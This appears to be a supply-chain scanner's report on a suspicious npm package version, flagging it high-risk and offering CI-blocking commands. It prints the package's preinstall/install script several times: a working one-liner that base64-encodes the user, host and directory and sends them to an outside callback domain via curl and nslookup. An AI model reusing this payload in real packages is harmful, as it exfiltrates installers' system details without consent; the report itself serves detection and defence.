PkgRadar

Package evidence

@multiasistencia/[email protected]

Install Lifecycle Remote Or Exec: preinstall="b64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm_package_name\" | base64 -w0); pkgsub=$(printf '%s' \"$npm_package_name\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm_package_name\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk"

Trust signals

Why this verdict

PkgRadar discounts a release’s score when public reputation argues against novel malware. The verdict above already reflects these — the panel just explains what was applied.

Versions published
1
First published
May 2026
Publisher
aidantestuser

Recommended action

Block this update

Static evidence trips multiple high-signal indicators. Quarantine the release until the publisher validates the change or you can rule out the indicators below.

Inspect tarballAdd to CI gate
Block this release in CIcurl · GitHub Actions

Fail the build when this package version is added or upgraded. Replace $PKGRADAR_TOKEN with a Pro / Team API key from your dashboard.

curl -fsS https://pkgradar.com/gate/npm \
  -H "Authorization: Bearer $PKGRADAR_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"specs":["@multiasistencia/[email protected]"],"fail_on":"high"}'

GitHub Actions step:

- name: PkgRadar gate
  run: |
    curl -fsS https://pkgradar.com/gate/npm \
      -H "Authorization: Bearer ${{ secrets.PKGRADAR_TOKEN }}" \
      -H "Content-Type: application/json" \
      -d '{"specs":["@multiasistencia/[email protected]"],"fail_on":"high"}'
Publisheraidantestuser
Artifact bytes518
Previous versionnone
Published2026-05-28T15:31:18.212Z
SHA-25690d30c8f70ac5aa03a69a448adc7b861eb1360e476821ba7c12f28692f475e99

Why flagged

What the scanner saw

Install Lifecycle Remote Or Exec: preinstall="b64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm_package_name\" | base64 -w0); pkgsub=$(printf '%s' \"$npm_package_name\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm_package_name\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk"

Not observed: package install, lifecycle script execution, or sandbox execution. PkgRadar only inspects on-disk artifacts.

Availability ledger

scan error

status
Last checked
noneRisk
—Score
99.99.99Version

Latest scanner note: HTTP status client error (404 Not Found) for url (https://registry.npmjs.org/%40multiasistencia%2Fmultiasistencia)

Status history (2 events)
  1. available → scan_error · risk none · score — · HTTP status client error (404 Not Found) for url (https://registry.npmjs.org/%40multiasistencia%2Fmultiasistencia)
  2. new → available · risk high · score 95 · status changed

Evidence

Static findings

5 static · 0 from release diff · showing high-signal first.

SeverityKindPathDetailPoints
highInstall Lifecycle Remote Or Execpackage.jsonpreinstall="b64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm_package_name\" | base64 -w0); pkgsub=$(printf '%s' \"$npm_package_name\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm_package_name\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk"30
highInstall Lifecycle Remote Or Execpackage.jsoninstall="b64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm_package_name\" | base64 -w0); pkgsub=$(printf '%s' \"$npm_package_name\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm_package_name\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk"30
highInstall Lifecycle Repeated Payloadpackage.jsonpreinstall,install="b64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm_package_name\" | base64 -w0); pkgsub=$(printf '%s' \"$npm_package_name\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm_package_name\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk"25
Show all 5 findings (low-signal and informational)
SeverityKindPathDetailPoints
highInstall Lifecycle Remote Or Execpackage.jsonpreinstall="b64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm_package_name\" | base64 -w0); pkgsub=$(printf '%s' \"$npm_package_name\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm_package_name\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk"30
highInstall Lifecycle Remote Or Execpackage.jsoninstall="b64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm_package_name\" | base64 -w0); pkgsub=$(printf '%s' \"$npm_package_name\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm_package_name\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk"30
highInstall Lifecycle Repeated Payloadpackage.jsonpreinstall,install="b64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm_package_name\" | base64 -w0); pkgsub=$(printf '%s' \"$npm_package_name\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm_package_name\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk"25
lowInstall-time lifecycle scriptpackage.jsonpreinstall="b64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm_package_name\" | base64 -w0); pkgsub=$(printf '%s' \"$npm_package_name\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm_package_name\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk"5
lowInstall-time lifecycle scriptpackage.jsoninstall="b64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm_package_name\" | base64 -w0); pkgsub=$(printf '%s' \"$npm_package_name\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm_package_name\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk"5

Manifest

Package metadata

Scripts2
  • installb64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm_package_name" | base64 -w0); pkgsub=$(printf '%s' "$npm_package_name" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_package_name" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk
  • preinstallb64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm_package_name" | base64 -w0); pkgsub=$(printf '%s' "$npm_package_name" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_package_name" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk